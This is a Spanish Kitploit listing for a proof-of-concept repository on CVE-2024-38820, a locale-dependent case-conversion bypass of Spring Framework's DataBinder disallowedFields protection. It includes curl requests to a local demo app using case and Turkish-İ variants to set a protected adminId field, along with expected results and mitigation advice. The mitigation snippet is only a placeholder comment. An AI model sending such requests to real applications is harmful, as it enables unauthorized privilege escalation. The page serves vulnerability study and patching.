Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2024-38820 — Prueba de concepto de exploit para CVE-2024-38820, que demuestra la omisión de la protección disallowedFields de Spring Framework DataBinder mediante conversión de mayúsculas/minúsculas dependiente de la configuración regional, con pruebas automatizadas y guía de mitigación. | Kitploit
Herramientas/GitHubGitHub/kadamnayan/poc-cve-2024-38820
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

Prueba de concepto de exploit para CVE-2024-38820, que demuestra la omisión de la protección disallowedFields de Spring Framework DataBinder mediante conversión de mayúsculas/minúsculas dependiente de la configuración regional, con pruebas automatizadas y guía de mitigación.

Ver Repositorio
1hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-38820 Prueba de Concepto

Resumen

Este proyecto demuestra CVE-2024-38820, una vulnerabilidad en DataBinder de Spring Framework que permite omitir la protección disallowedFields debido a problemas de conversión de mayúsculas/minúsculas dependientes de la configuración regional.

Detalles de la Vulnerabilidad

  • ID de CVE: CVE-2024-38820
  • Componente Afectado: DataBinder de Spring Framework
  • Causa Raíz: El comportamiento de String.toLowerCase() varía según la configuración regional
  • Impacto: Omisión de la protección de campos, posible escalada de privilegios

El Problema

La corrección para CVE-2022-22968 hizo que los patrones de disallowedFields no distinguieran entre mayúsculas y minúsculas usando String.toLowerCase(). Sin embargo, este método tiene excepciones dependientes de la configuración regional:

  • En la configuración regional Turca: "ADMINID".toLowerCase() se convierte en "adminıd" (con ı sin punto)
  • En la configuración regional Inglesa: "ADMINID".toLowerCase() se convierte en "adminid"

Esta diferencia puede permitir a los atacantes omitir la protección de campos usando variaciones específicas de mayúsculas/minúsculas.

Estructura del Proyecto

root@kitploit:~
src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

Inicio Rápido

1. Construir y Ejecutar

root@kitploit:~
# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

La aplicación iniciará en http://localhost:8081

2. Pruebas Manuales

Visite el endpoint de prueba para ver información de la configuración regional:

root@kitploit:~
http://localhost:8081/test

Pruebe diferentes variaciones de nombres de campos:

root@kitploit:~
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. Pruebas Automatizadas

Ejecute el script de prueba completo:

root@kitploit:~
./test-cve-2024-38820.sh

Resultados Esperados

Con Configuración Regional Turca (tr_TR)

  • ✅ adminId=999 → BLOQUEADO (caso normal)
  • 🚨 ADMINID=999 → OMITIDO (mayúsculas)
  • 🚨 AdminId=999 → OMITIDO (mayúsculas y minúsculas)
  • 🚨 ADMİNID=999 → OMITIDO (İ turca)

Con Configuración Regional Inglesa (en_US)

  • ✅ adminId=999 → BLOQUEADO (caso normal)
  • ✅ ADMINID=999 → BLOQUEADO (protegido)
  • ✅ AdminId=999 → BLOQUEADO (protegido)

Configuración

Cambiar la Configuración Regional

Edite src/main/resources/application.properties:

root@kitploit:~
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

Establecer la Configuración Regional de la JVM

También puede establecer la configuración regional predeterminada de la JVM:

root@kitploit:~
mvn spring-boot:run -Duser.language=tr -Duser.country=TR

Análisis de Vulnerabilidad

Flujo del Código

  1. Procesamiento de Solicitudes: Spring recibe la solicitud HTTP con parámetros
  2. Configuración de DataBinder: @InitBinder configura disallowedFields("adminId")
  3. Coincidencia de Campos: Spring usa coincidencia sin distinción de mayúsculas/minúsculas con toLowerCase()
  4. Problema de Configuración Regional: En la configuración regional turca, "ADMINID".toLowerCase() ≠ "adminid"
  5. Omisión: La protección del campo falla, se establece adminId

Salida de Depuración

La aplicación registra información detallada:

root@kitploit:~
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

Versiones Afectadas

  • Spring Framework: 5.3.x (anteriores a 5.3.40), 6.0.x (anteriores a 6.0.24), 6.1.x (anteriores a 6.1.13)
  • Spring Boot: Versiones 2.x y 3.x que usen versiones afectadas de Spring Framework

Mitigación

1. Actualizar Spring Framework

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. Configuración Regional Explícita

Use coincidencia de campos sensible a la configuración regional:

root@kitploit:~
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. Validación de Campo Personalizada

Implemente una validación de campo personalizada que no dependa de operaciones sensibles a la configuración regional.

Referencias

  • CVE-2024-38820 - NVD
  • Aviso de Seguridad de Spring Framework
  • CVE-2022-22968 Relacionado

Aviso Legal

Esta prueba de concepto es solo para fines educativos y de investigación en seguridad. Úsela de manera responsable y solo en sistemas que le pertenezcan o para los que tenga permiso explícito de prueba.

Descargar herramienta